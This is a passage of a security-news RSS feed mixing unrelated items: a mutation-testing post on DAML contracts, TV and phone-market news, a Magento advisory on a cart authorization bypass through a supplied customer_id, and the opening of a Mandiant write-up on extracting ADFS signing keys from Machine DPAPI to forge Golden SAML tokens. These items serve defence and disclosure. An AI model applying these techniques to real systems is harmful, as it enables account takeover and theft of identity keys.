Unlike heavy frontier models, SLMs can semantically evaluate agent behavior at machine speed and at a fraction of the cost, acting as a real-time checkpoint.</p><p>That hyper-efficient enforcement layer is what enables a tighter, seamless connection to recovery. When the system observes an agent taking a destructive action—such as deleting a database, corrupting a critical file, or exfiltrating sensitive data—the small model detects it immediately, halts the damage, identifies the most recent clean snapshot from before the incident, and initiates recovery in a single, automated workflow.</p><h2>The shift from incident response to architectural resilience</h2><p>The broader implication of Mythos and similar frontier AI systems is a shift in how organizations think about security. As AI compresses the gap between attack and impact, resilience and recovery become architectural requirements rather than operational considerations.</p><p>Rubrik’s view is that security systems can no longer stop at detection. As AI agents gain greater autonomy, observability, identity context, and recovery must operate as a coordinated resilience layer. The goal is not simply to identify when something has gone wrong, but to shorten the gap between detection and restoration.</p><p>"The same thing that's introducing the threats, the frontier capabilities of models like Mythos, can also be used to help us combat the threat," Rishi says. "Positioning yourself for the AI era means closing the gap between detecting that something has gone wrong and restoring the systems that were affected, before the cost of that gap compounds."</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mutation testing comes to DAML]]></title>
<description><![CDATA[In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DA...]]></description>
<link>https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654082/it-security-nachrichten/mutation-testing-comes-to-daml/</guid>
<pubDate>Wed, 08 Jul 2026 13:08:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In April we released <a href="https://blog.trailofbits.com/2026/04/01/mutation-testing-for-the-agentic-era/">Mewt</a>, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and use <code>mewt run</code>.</p>
<p>For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.</p>
<h2>Why DAML’s coverage reports lie</h2>
<p>Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least <a href="https://blog.trailofbits.com/2019/01/23/fuzzing-an-api-with-deepstate-part-2/">2019</a>, and <a href="https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/">our primer on finding the bugs your tests don’t catch</a> shows how a green suite can still miss the bug that matters.</p>
<p>DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.</p>
<h2>How mutation testing works</h2>
<p>Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.</p>
<h2>Mutation testing forces the unhappy path</h2>
<p>A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.</p>
<p>Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.</p>
<p>A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.</p>
<h2>What Mewt adds for DAML</h2>
<p>Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream <code>tree-sitter-haskell</code> grammar. DAML is Haskell-shaped, but its contract constructs (<code>template</code>, <code>choice</code>, <code>controller</code>, and <code>signatory</code>) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes <code>/=</code> where most languages write <code>!=</code>). We got most of the value of a from-scratch grammar without building one.</p>
<p>The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:</p>
<ul>
<li>
<p><strong>Controller party swap</strong> (CPS in Mewt’s output): replace one party in a <code>controller</code> clause with another party that is in scope at that site.</p>
</li>
<li>
<p><strong>Controller party removal</strong> (CPR): drop one party from a multi-party controller list.</p>
</li>
</ul>
<p>Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.</p>
<p>Driving a campaign needs no new harness. A short <code>mewt.toml</code> names the files to mutate and the test command (<code>dpm test</code> for a Daml 3 project), and <code>mewt run</code> does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.</p>
<h2>What a surviving mutant looks like</h2>
<p>Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the <code>controller</code> line on the <code>Release</code> choice.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 1: A payment that requires both the buyer and the seller to approve its release</span></figcaption>
</figure>
<p>A typical happy-path test creates the payment and has both parties approve the release. The <code>actAs buyer &lt;&gt; actAs seller</code> line submits the command with both parties’ authority:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">testHappyPath : Script ()
testHappyPath = script do
 buyer &lt;- allocateParty "Buyer"
 seller &lt;- allocateParty "Seller"
 payment &lt;- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer &lt;&gt; actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()</code></pre>
 <figcaption><span>Figure 2: The happy-path test. It passes, and coverage reports 100%.</span></figcaption>
</figure>
<p>The test passes, and by the usual measure the suite looks complete: running <code>dpm test</code> with coverage reporting enabled shows full coverage.</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised</code></pre>
 <figcaption><span>Figure 3: The coverage report for the happy-path test. Every template is created and every choice is exercised, for 100% coverage.</span></figcaption>
</figure>
<p>The <code>--coverage-ignore-choice Archive</code> flag deserves a word. Every DAML template automatically gets an implicit <code>Archive</code> choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.</p>
<p>Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang=""> choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)</code></pre>
 <figcaption><span>Figure 4: The controller-removal mutant that survives the test suite</span></figcaption>
</figure>
<p>Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the <em>forbidden</em> path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the <code>paid == amount</code> check to <code>&lt;=</code> and <code>&gt;=</code>, which survive because the test only ever pays the exact amount.)</p>
<p>Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.</p>
<h2>Limitations and what comes next</h2>
<p>Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.</p>
<p>Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its <code>canton-stablecoin</code> reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.</p>
<p>One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:</p>
<figure class="highlight">
 <pre tabindex="0"><code class="language-" data-lang="">accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)</code></pre>
 <figcaption><span>Figure 5: The accrueDebt helper. Its first-line guard is a shortcut that returns the same value the calculation already produces.</span></figcaption>
</figure>
<p>Mewt forced the <code>if</code> to always take the <code>else</code> branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.</p>
<p>Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our <a href="https://github.com/trailofbits/skills/tree/main/plugins/mutation-testing">mutation-testing skill</a> that helps configure campaigns for your project, and <a href="https://blog.trailofbits.com/2026/04/23/trailmark-turns-code-into-graphs/">Trailmark</a> with its <code>genotoxic</code> triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.</p>
<p>Also on the roadmap: choice-consumption mutations (<code>consuming</code> vs <code>nonconsuming</code>) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.</p>
<h2>Dive in</h2>
<p>Install Mewt from the <a href="https://github.com/trailofbits/mewt">repository</a>, point a <code>mewt.toml</code> at your project and its test command, and <code>mewt run</code>. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with <code>dpm</code>, but Mewt just drives whatever test command you configure, so Daml 2 projects using the <code>daml</code> assistant work the same way.</p>
<p>Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.</p>
<p>If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. <a href="https://www.trailofbits.com/contact/">Contact us</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 Huge Questions the Silo Season 3 Premiere Leaves Unanswered]]></title>
<description><![CDATA[Silo Season 3 has opened with major twists, and the premiere makes it clear that Juliette’s story is moving into a more dangerous phase.




Release date: July 3, 2026



Where to watch: Apple TV



Episodes: 10



Release schedule: Weekly, every Friday, through September 4, 2026



Genre: Sci-fi...]]></description>
<link>https://tsecurity.de/de/3653236/ios-mac-os/4-huge-questions-the-silo-season-3-premiere-leaves-unanswered/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653236/ios-mac-os/4-huge-questions-the-silo-season-3-premiere-leaves-unanswered/</guid>
<pubDate>Wed, 08 Jul 2026 06:40:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 has opened with major twists, and the premiere makes it clear that Juliette’s story is moving into a more dangerous phase.




Release date: July 3, 2026



Where to watch: Apple TV



Episodes: 10



Release schedule: Weekly, every Friday, through September 4, 2026



Genre: Sci-fi, dystopian drama



Main cast: Rebecca Ferguson, Common, Tim Robbins, Harriet Walter, Avi Nash, Chinaza Uche, Steve Zahn, Jessica Henwick, Ashley Zukerman




Spoilers ahead for the Silo Season 3 premiere.



The premiere brings Juliette back into Silo 18, but she is not the same person viewers followed through the first two seasons. She is dealing with memory loss, political pressure, and hidden manipulation. At the same time, the season also begins exploring the world before the silos, with new characters tied to the larger truth behind the underground system.



Who left Juliette the secret note?



One of the biggest questions comes from the hidden message Juliette receives in her food. The note tells her to turn the bowl upside down, go to the marketplace, and burn the message.



This means someone inside the silo knows she is being watched and drugged. It also means Juliette still has help, even if she does not know who to trust.



Lukas Kyle is one possible answer, especially because he learned about the Safeguard Protocol in Season 2. Another possibility is that the Outsiders are involved, since they are already working against the lies inside Silo 18.



Where is Lukas Kyle?



Lukas is now one of the most important missing pieces in the story. He knows too much about the Algorithm, which makes him dangerous to the people in power.



If he is hiding, he is likely trying to avoid triggering a larger threat. The premiere also hints that the Outsiders could be helping him, especially after they stole technology from IT and exposed the fake display.



Since Lukas understands systems and technology, he could be the person helping them reveal the truth.



Who is really behind the Algorithm?



The Algorithm is still one of the show’s most unsettling mysteries. It could be an AI system following old instructions, or it could be a tool used by someone hiding outside Silo 18.



Season 3 also introduces a pre-apocalypse storyline with Daniel Keene and Helen Drew, which suggests the show is ready to explain how the silos began. The new timeline points toward bigger answers about control, survival, and the original plan behind the system.



How long can Juliette fake her memory loss?



Juliette knows something is wrong, but she still does not fully understand that she is being drugged through “vitamins.” Once she learns the truth, she will need to stop taking them without making Robert Sims, Camille Sims, or the Algorithm suspicious.



That puts her in a dangerous position. She has to recover her memories while pretending she is still under control.



The marketplace meeting could be the moment that changes everything. If someone tells her about the drugs, Juliette will finally have a way back to herself.



What happens next?



The Silo Season 3 premiere sets up several major threads at once: Juliette’s recovery, Lukas’ location, the Outsiders’ plan, and the truth behind the Algorithm. With the season also moving into the pre-apocalypse timeline, the show is clearly preparing to answer some of its biggest questions.



What do you plan to watch next in Silo Season 3? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple iPhone Sales Drop 9% in China Despite Big iPhone 17 Discounts]]></title>
<description><![CDATA[Apple recorded a 9% year over year decline in iPhone sales during China's 618 shopping festival even after offering discounts of up to CNY 2,000 on the iPhone 17 Pro lineup. The price cuts helped Apple recover to the second position in the Chinese smartphone market, but they were not enough to ma...]]></description>
<link>https://tsecurity.de/de/3652821/ios-mac-os/apple-iphone-sales-drop-9-in-china-despite-big-iphone-17-discounts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652821/ios-mac-os/apple-iphone-sales-drop-9-in-china-despite-big-iphone-17-discounts/</guid>
<pubDate>Tue, 07 Jul 2026 23:54:46 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple recorded a 9% year over year decline in iPhone sales during China's 618 shopping festival even after offering discounts of up to CNY 2,000 on the iPhone 17 Pro lineup. The price cuts helped Apple recover to the second position in the Chinese smartphone market, but they were not enough to match the stronger promotional impact that the iPhone 16 lineup delivered during the same period last year.



At the same time, China's overall smartphone market fell 13% compared to a year earlier as higher memory costs pushed up prices and reduced promotional activity across the industry.



Counterpoint Research shared the latest figures in its report covering smartphone sales between May 25 and June 21.




"Apple began its promotional campaign about one month ahead of the 618 day, offering total savings of up to CNY 2,000 on the iPhone 17 Pro series through a combination of official discounts, platform promotions and trade in incentives. The price cuts quickly translated into stronger sales, lifting Apple to the No.2 spot in the market. Despite the sequential rebound, sales were still down 9% YoY, primarily due to the more aggressive promotional activity for the iPhone 16 series in the same period last year."




Huawei Leads as the Market Faces Slower Demand







Huawei remained the biggest smartphone brand during the shopping festival with a 21% market share after posting 19% year over year growth. Apple and OPPO each captured an 18% share, followed by vivo with 17%, Xiaomi with 14%, and HONOR with 10%. Although Apple reported lower sales, its decline was smaller than those recorded by most major Android brands, which fell between 12% and 33%.



Counterpoint Research also said rising memory prices increased smartphone costs and limited discounts during this year's 618 shopping festival. As a result, weaker promotions and soft consumer demand weighed on overall sales, while smartphone makers now expect slower shipments across China during the rest of the year.]]></content:encoded>
</item>
<item>
<title><![CDATA[Incorrect Authorization in Magento Cart REST API]]></title>
<description><![CDATA[An authenticated customer can supply a different customer_id in the body of a PUT /V1/carts/mine request to access or modify another customer's cart data. The fix forces the quote.customer.id parameter to the authenticated user's ID, preventing this horizontal authorization bypass in the Magento ...]]></description>
<link>https://tsecurity.de/de/3652667/sicherheitsluecken/incorrect-authorization-in-magento-cart-rest-api/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652667/sicherheitsluecken/incorrect-authorization-in-magento-cart-rest-api/</guid>
<pubDate>Tue, 07 Jul 2026 21:55:07 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>An authenticated customer can supply a different customer_id in the body of a PUT /V1/carts/mine request to access or modify another customer's cart data. The fix forces the quote.customer.id parameter to the authenticated user's ID, preventing this horizontal authorization bypass in the Magento Quote Web API.</p>

    <p>This vulnerability affects the following application versions:</p>
    <ul>
        
            <li>Magento 2.1.0</li>
        
            <li>Magento 2.1.0-rc1</li>
        
            <li>Magento 2.1.0-rc2</li>
        
            <li>Magento 2.1.0-rc3</li>
        
            <li>Magento 2.1.1</li>
        
            <li>Magento 2.1.2</li>
        
            <li>Magento 2.1.3</li>
        
            <li>Magento 2.1.4</li>
        
            <li>Magento 2.1.5</li>
        
            <li>Magento 2.1.6</li>
        
            <li>Magento 2.1.7</li>
        
            <li>Magento 2.1.8</li>
        
            <li>Magento 2.1.9</li>
        
            <li>Magento 2.1.10</li>
        
            <li>Magento 2.1.11</li>
        
            <li>Magento 2.1.12</li>
        
            <li>Magento 2.1.13</li>
        
            <li>Magento 2.1.14</li>
        
            <li>Magento 2.1.15</li>
        
            <li>Magento 2.1.16</li>
        
            <li>Magento 2.1.17</li>
        
            <li>Magento 2.1.18</li>
        
            <li>Magento 2.2.0</li>
        
            <li>Magento 2.2.0-rc2.0</li>
        
            <li>Magento 2.2.0-rc2.1</li>
        
            <li>Magento 2.2.0-rc2.2</li>
        
            <li>Magento 2.2.0-rc2.3</li>
        
            <li>Magento 2.2.0-rc3.0</li>
        
            <li>Magento 2.2.0-RC1.1</li>
        
            <li>Magento 2.2.0-RC1.2</li>
        
            <li>Magento 2.2.0-RC1.3</li>
        
            <li>Magento 2.2.0-RC1.4</li>
        
            <li>Magento 2.2.0-RC1.5</li>
        
            <li>Magento 2.2.0-RC1.6</li>
        
            <li>Magento 2.2.0-RC1.8</li>
        
            <li>Magento 2.2.1</li>
        
            <li>Magento 2.2.2</li>
        
            <li>Magento 2.2.3</li>
        
            <li>Magento 2.2.4</li>
        
            <li>Magento 2.2.5</li>
        
            <li>Magento 2.2.6</li>
        
            <li>Magento 2.2.7</li>
        
            <li>Magento 2.2.8</li>
        
            <li>Magento 2.2.9</li>
        
            <li>Magento 2.2.10</li>
        
            <li>Magento 2.2.11</li>
        
            <li>Magento 2.3.0</li>
        
            <li>Magento 2.3.1</li>
        
            <li>Magento 2.3.2</li>
        
            <li>Magento 2.3.2-p1</li>
        
            <li>Magento 2.3.2-p2</li>
        
            <li>Magento 2.3.3</li>
        
            <li>Magento 2.3.3-p1</li>
        
            <li>Magento 2.3.4</li>
        
            <li>Magento 2.3.4-p2</li>
        
            <li>Magento 2.3.5</li>
        
            <li>Magento 2.3.5-p1</li>
        
            <li>Magento 2.3.5-p2</li>
        
            <li>Magento 2.3.6</li>
        
            <li>Magento 2.3.6-p1</li>
        
            <li>Magento 2.3.7</li>
        
            <li>Magento 2.3.7-p1</li>
        
            <li>Magento 2.3.7-p2</li>
        
            <li>Magento 2.3.7-p3</li>
        
            <li>Magento 2.3.7-p4</li>
        
            <li>Magento 2.4.0</li>
        
            <li>Magento 2.4.0-p1</li>
        
            <li>Magento 2.4.1</li>
        
            <li>Magento 2.4.1-p1</li>
        
            <li>Magento 2.4.2</li>
        
            <li>Magento 2.4.2-p1</li>
        
            <li>Magento 2.4.2-p2</li>
        
            <li>Magento 2.4.3</li>
        
            <li>Magento 2.4.3-p1</li>
        
            <li>Magento 2.4.3-p2</li>
        
            <li>Magento 2.4.3-p3</li>
        
            <li>Magento 2.4.4</li>
        
            <li>Magento 2.4.4-p1</li>
        
            <li>Magento 2.4.4-p2</li>
        
            <li>Magento 2.4.4-p3</li>
        
            <li>Magento 2.4.4-p4</li>
        
            <li>Magento 2.4.4-p5</li>
        
            <li>Magento 2.4.4-p6</li>
        
            <li>Magento 2.4.4-p7</li>
        
            <li>Magento 2.4.4-p8</li>
        
            <li>Magento 2.4.4-p9</li>
        
            <li>Magento 2.4.4-p10</li>
        
            <li>Magento 2.4.4-p11</li>
        
            <li>Magento 2.4.4-p12</li>
        
            <li>Magento 2.4.4-p13</li>
        
            <li>Magento 2.4.5</li>
        
            <li>Magento 2.4.5-p1</li>
        
            <li>Magento 2.4.5-p2</li>
        
            <li>Magento 2.4.5-p3</li>
        
            <li>Magento 2.4.5-p4</li>
        
            <li>Magento 2.4.5-p5</li>
        
            <li>Magento 2.4.5-p6</li>
        
            <li>Magento 2.4.5-p7</li>
        
            <li>Magento 2.4.5-p8</li>
        
            <li>Magento 2.4.5-p9</li>
        
            <li>Magento 2.4.5-p10</li>
        
            <li>Magento 2.4.5-p11</li>
        
            <li>Magento 2.4.5-p12</li>
        
            <li>Magento 2.4.5-p13</li>
        
            <li>Magento 2.4.5-p14</li>
        
            <li>Magento 2.4.6</li>
        
            <li>Magento 2.4.6-p1</li>
        
            <li>Magento 2.4.6-p2</li>
        
            <li>Magento 2.4.6-p3</li>
        
            <li>Magento 2.4.6-p4</li>
        
            <li>Magento 2.4.6-p5</li>
        
            <li>Magento 2.4.6-p6</li>
        
            <li>Magento 2.4.6-p7</li>
        
            <li>Magento 2.4.6-p8</li>
        
            <li>Magento 2.4.6-p9</li>
        
            <li>Magento 2.4.6-p10</li>
        
            <li>Magento 2.4.6-p11</li>
        
            <li>Magento 2.4.6-p12</li>
        
            <li>Magento 2.4.6-p13</li>
        
            <li>Magento 2.4.7</li>
        
            <li>Magento 2.4.7-beta1</li>
        
            <li>Magento 2.4.7-beta2</li>
        
            <li>Magento 2.4.7-beta3</li>
        
            <li>Magento 2.4.7-p1</li>
        
            <li>Magento 2.4.7-p2</li>
        
            <li>Magento 2.4.7-p3</li>
        
            <li>Magento 2.4.7-p4</li>
        
            <li>Magento 2.4.7-p5</li>
        
            <li>Magento 2.4.7-p6</li>
        
            <li>Magento 2.4.7-p7</li>
        
            <li>Magento 2.4.7-p8</li>
        
            <li>Magento 2.4.8</li>
        
            <li>Magento 2.4.8-beta1</li>
        
            <li>Magento 2.4.8-beta2</li>
        
            <li>Magento 2.4.8-p1</li>
        
            <li>Magento 2.4.8-p2</li>
        
            <li>Magento 2.4.8-p3</li>
        
            <li>Magento 2.4.9-alpha1</li>
        
            <li>Magento 2.4.9-alpha2</li>
        
            <li>Magento 2.4.9-alpha3</li>
        
    </ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The ‘G-Wagen of golf carts’ could be the ideal second car]]></title>
<description><![CDATA[While the auto industry wrings its hands over the electric vehicle market, sweating details like aerodynamic efficiency and range anxiety, a new EV startup based in Lisbon, Portugal, is zagging in a different direction. Amble's new electric buggy won't impress anyone with its 0-60 time or its sel...]]></description>
<link>https://tsecurity.de/de/3652404/it-nachrichten/the-g-wagen-of-golf-carts-could-be-the-ideal-second-car/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652404/it-nachrichten/the-g-wagen-of-golf-carts-could-be-the-ideal-second-car/</guid>
<pubDate>Tue, 07 Jul 2026 20:02:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While the auto industry wrings its hands over the electric vehicle market, sweating details like aerodynamic efficiency and range anxiety, a new EV startup based in Lisbon, Portugal, is zagging in a different direction. Amble's new electric buggy won't impress anyone with its 0-60 time or its self-driving features (it has none). Instead, it takes […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The ‘Ghost’ in the Database: Recovering Active ADFS Signing Keys via Machine DPAPI]]></title>
<description><![CDATA[Written by: Shebin Mathew

Introduction 
The "Golden SAML" technique, first described by CyberArk researchers in 2017, and further detailed by Mandiant researchers in 2021, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obta...]]></description>
<link>https://tsecurity.de/de/3652290/it-security-nachrichten/the-ghost-in-the-database-recovering-active-adfs-signing-keys-via-machine-dpapi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652290/it-security-nachrichten/the-ghost-in-the-database-recovering-active-adfs-signing-keys-via-machine-dpapi/</guid>
<pubDate>Tue, 07 Jul 2026 19:07:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Shebin Mathew</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>The "Golden SAML" technique, first described by </span><a href="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps" rel="noopener" target="_blank"><span>CyberArk researchers</span></a><span> in 2017, and further detailed by </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/abusing-replication-stealing-adfs-secrets-over-the-network"><span>Mandiant researchers in 2021</span></a><span>, remains one of the most effective methods for threat actors to forge identity assertions in the Microsoft ecosystem. By obtaining the private key of an ADFS token-signing certificate, an attacker can authenticate as any user to any SAML-federated application, bypassing multifactor authentication (MFA), conditional access, and all identity-based controls.</span></p>
<p><span>However, during a recent red team engagement, Mandiant discovered that when ADFS certificates are manually rotated, configuration drift can silently leave active signing keys exposed in Machine DPAPI. Specifically, Mandiant discovered </span><span>that in environments where AutoCertificateRollover is disabled and certificates are manually rotated, the database often becomes a 'ghost'—a record that still exists, still decrypts successfully, but references a certificate no longer used for token signing by the ADFS service. This attack vector warrants attention because the underlying configuration is commonly deployed in enterprise environments. The technique avoids direct interaction with components such as LSASS and the live ADFS service process, which are often subject to enhanced monitoring in enterprise environments, and may therefore result in lower visibility depending on the organization’s telemetry coverage. This post details how adversaries may exploit this TTP to forge high-privilege SAML tokens and provides the blueprint to defend against it.</span></p>
<h3><span>Technical Insight: Encountering the ‘Ghost Certificate’</span></h3>
<p><span>Analysts followed the standard DKM extraction path, retrieving the encrypted blob from the WID database and decrypting it using the DKM material stored in Active Directory. The extraction succeeded, but the recovered certificate was no longer valid for token signing, and Entra ID rejected the resulting tokens with</span> <code>AADSTS500172</code><span> due to invalid signing material. Although structurally correct, the artifact is not usable for authentication, as the active signing key resides in the system’s machine-scoped cryptographic store, protected by Windows Machine DPAPI and managed through the operating system’s cryptographic subsystem. Successfully obtaining this active key allows an attacker to forge valid SAML assertions for any user, bypassing the need for user credentials and multi-factor authentication, and granting unauthorized access to any SAML-federated application including Microsoft 365 and Entra ID within the organization's environment.</span></p>
